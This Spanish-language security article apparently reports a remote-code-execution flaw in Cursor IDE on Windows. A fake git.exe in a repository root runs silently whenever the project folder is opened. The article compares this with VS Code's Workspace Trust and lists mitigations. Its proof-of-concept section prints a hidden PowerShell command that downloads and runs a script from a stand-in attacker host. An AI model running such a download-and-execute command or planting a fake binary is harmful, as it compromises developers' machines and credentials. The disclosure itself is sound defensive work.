RCE en Cursor IDE para Windows: El peligro de Git Malicioso
Descubre cómo un repositorio Git malicioso con un git.exe falso en su raíz puede ejecutar código arbitrario de forma silenciosa en Cursor IDE para Windows.

El desarrollo de software moderno ha experimentado una revolución gracias a herramientas impulsadas por Inteligencia Artificial. Entre ellas, Cursor IDE se ha posicionado como una de las opciones favoritas de miles de programadores debido a su capacidad para autocompletar código de forma contextual, generar funciones complejas y agilizar la depuración de aplicaciones. Sin embargo, esta rápida adopción y la velocidad en su desarrollo a menudo conllevan riesgos de seguridad importantes.
Recientemente, investigadores de seguridad de la firma de ciberseguridad Mindgard han revelado una vulnerabilidad crítica de ejecución remota de código (RCE) en Cursor IDE que afecta específicamente a usuarios de sistemas operativos Windows. Este fallo permite a un atacante ejecutar comandos de manera totalmente silenciosa en la máquina de la víctima con tan solo lograr que esta abra una carpeta de proyecto que contenga un repositorio Git maliciosamente diseñado.
Cómo funciona el exploit de búsqueda de binarios en Cursor
El origen de la vulnerabilidad se halla en un problema de resolución de rutas de búsqueda y de diseño en la inicialización del sistema de control de versiones. Cuando un programador abre un proyecto o espacio de trabajo en Cursor, el entorno de desarrollo realiza una serie de comprobaciones iniciales en segundo plano. Una de estas comprobaciones es la detección del comando git para poder ofrecer funcionalidades de control de cambios, mostrar ramas activas y permitir confirmaciones (commits) directamente desde la interfaz gráfica del editor.
El problema radica en que, en sistemas operativos Windows, el IDE no limita su búsqueda del binario git.exe a los directorios del sistema predefinidos en la variable de entorno %PATH% (como C:\Program Files\Git\bin\git.exe), sino que prioriza el directorio raíz del espacio de trabajo abierto.
Si un actor de amenazas introduce un archivo ejecutable malicioso y lo renombra como git.exe dentro de la carpeta raíz del proyecto, el IDE ejecutará este binario automáticamente. Esta ejecución se realiza de manera inmediata al abrir la carpeta del espacio de trabajo, sin que el usuario interactúe con el control de versiones y sin que el sistema muestre ninguna ventana de advertencia de seguridad.
Comparativa de gestión de confianza y binarios entre editores
Para entender la gravedad del fallo de diseño de Cursor IDE, podemos comparar su comportamiento con el de otros editores y entornos de desarrollo del mercado:
| Característica de Seguridad | VS Code (Parcheado/Seguro) | Cursor IDE (Vulnerable en Windows) |
|---|---|---|
| Prioridad de resolución de Git | Utiliza estrictamente la ruta configurada en el sistema. | Prioriza la raíz del espacio de trabajo abierto. |
| Workspace Trust (Confianza) | Bloquea extensiones y tareas hasta recibir aprobación expresa del usuario. | Ejecuta la inicialización de herramientas antes de solicitar confianza. |
| Interacción requerida | El usuario debe aceptar de forma interactiva la confianza del workspace. | Ninguna. La ejecución es automática en segundo plano. |
| Impacto de apertura de carpeta | Completamente aislado y seguro. | Ejecución de código arbitrario inmediata (RCE). |
Como se observa en la tabla comparativa, mientras que la mayoría de los editores modernos (incluyendo VS Code, en el cual Cursor está parcialmente basado) cuentan con mecanismos estrictos de confianza del espacio de trabajo (Workspace Trust) que bloquean cualquier ejecución automática de scripts o herramientas antes de que el usuario apruebe explícitamente el origen de los archivos, Cursor IDE rompe esta barrera de seguridad al ejecutar el supuesto binario de Git de forma prematura.
Análisis técnico de la ejecución de comandos (PoC)
El ataque puede estructurarse de forma muy simple pero altamente dañina. Un atacante únicamente necesita crear un script o compilar un programa ejecutable compatible con Windows, nombrarlo git.exe y colocarlo en el directorio raíz de un repositorio.
Por ejemplo, un archivo por lotes (batch) o un binario en C++ malicioso podría invocar secretamente a PowerShell para conectarse a un servidor de comando y control (C2) del atacante:
# Demostración del comportamiento de un git.exe falso
# El binario malicioso ejecuta este comando para descargar y ejecutar código en memoria
Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" -WindowStyle Hidden
Cuando el IDE Cursor detecta el espacio de trabajo, realiza internamente llamadas equivalentes a:
C:\mi-proyecto-clonado> git.exe status
Debido a que el directorio de trabajo actual se encuentra al principio de las rutas de búsqueda implícitas en Windows para ciertos comandos del sistema, se ejecuta el archivo git.exe local y malicioso en lugar del Git oficial de la máquina. El atacante logra así la ejecución de código con el mismo nivel de privilegios que el desarrollador que ha abierto el proyecto.
El peligro real para la cadena de suministro
Este tipo de vulnerabilidades son especialmente peligrosas debido al flujo de trabajo habitual de los ingenieros de software. Los programadores clonan constantemente repositorios públicos de plataformas como GitHub, GitLab o Bitbucket para estudiar bibliotecas de código abierto, probar dependencias o colaborar en proyectos comunitarios.
Si un atacante realiza una campaña de ingeniería social, compromete una cuenta de desarrollador legítimo o realiza una bifurcación maliciosa (fork) de un repositorio popular y añade este exploit, cualquier desarrollador en Windows que clone y examine el código utilizando Cursor IDE verá su sistema comprometido en cuestión de segundos.
Los atacantes pueden aprovechar este acceso inicial para:
- Extraer variables de entorno con credenciales de producción.
- Robar claves privadas de SSH almacenadas en el directorio
~/.ssh. - Comprometer llaves de acceso de servicios en la nube (AWS, Azure, Google Cloud).
- Desplegar ransomware en la red corporativa a la que el desarrollador está conectado.
Medidas de mitigación recomendadas
Hasta que los desarrolladores de Cursor publiquen una actualización oficial que aplique restricciones estrictas a las rutas de ejecución de herramientas de terceros y solucione este fallo en Windows, es imperativo que adoptes las siguientes medidas de protección:
- Evita abrir repositorios desconocidos directamente: No abras ninguna carpeta descargada de Internet en Windows a través de Cursor sin antes examinar su contenido de forma externa.
- Inspecciona el directorio raíz: Antes de abrir un proyecto en el IDE, abre el explorador de archivos o una consola y asegúrate de que no existan archivos llamados
git,git.exeo ejecutables sospechosos similares en la raíz del proyecto. - Utiliza herramientas de análisis previas: Si vas a clonar un repositorio o hacer clic en un enlace de origen desconocido, te aconsejamos analizar la fiabilidad del enlace de descarga a través del Verificador de URLs de TecnoCrypter.
- Utiliza entornos de desarrollo aislados: Para inspeccionar repositorios cuya procedencia no sea 100% fiable, haz uso de máquinas virtuales locales, contenedores Docker aislados o el entorno de aislamiento nativo de Windows (Windows Sandbox).
- Migra temporalmente a terminales seguras: Puedes inhabilitar la integración de Git en el editor gráfico y gestionar todos tus repositorios y comandos de control de versiones de manera manual a través de una consola PowerShell o CMD estándar que no sea vulnerable a esta búsqueda automática local.
Conclusión
El descubrimiento de esta vulnerabilidad en Cursor IDE nos recuerda que las herramientas de productividad y desarrollo que utilizamos a diario son también objetivos prioritarios para los ciberdelincuentes. La automatización sin límites y la falta de controles estrictos de seguridad de confianza del espacio de trabajo en sistemas operativos Windows facilitan vectores de ataque muy sencillos de explotar.
Para mantener la infraestructura de desarrollo de tu empresa segura, mantén actualizados todos tus entornos, adopta políticas de desarrollo seguras y utiliza herramientas locales de verificación de amenazas. Si deseas aprender más sobre seguridad en la transmisión de datos, te sugerimos consultar nuestro artículo sobre cómo compartir contraseñas de forma segura en Internet o aprender cómo los atacantes recopilan información a través de los datos ocultos en la amenaza invisible de los metadatos.


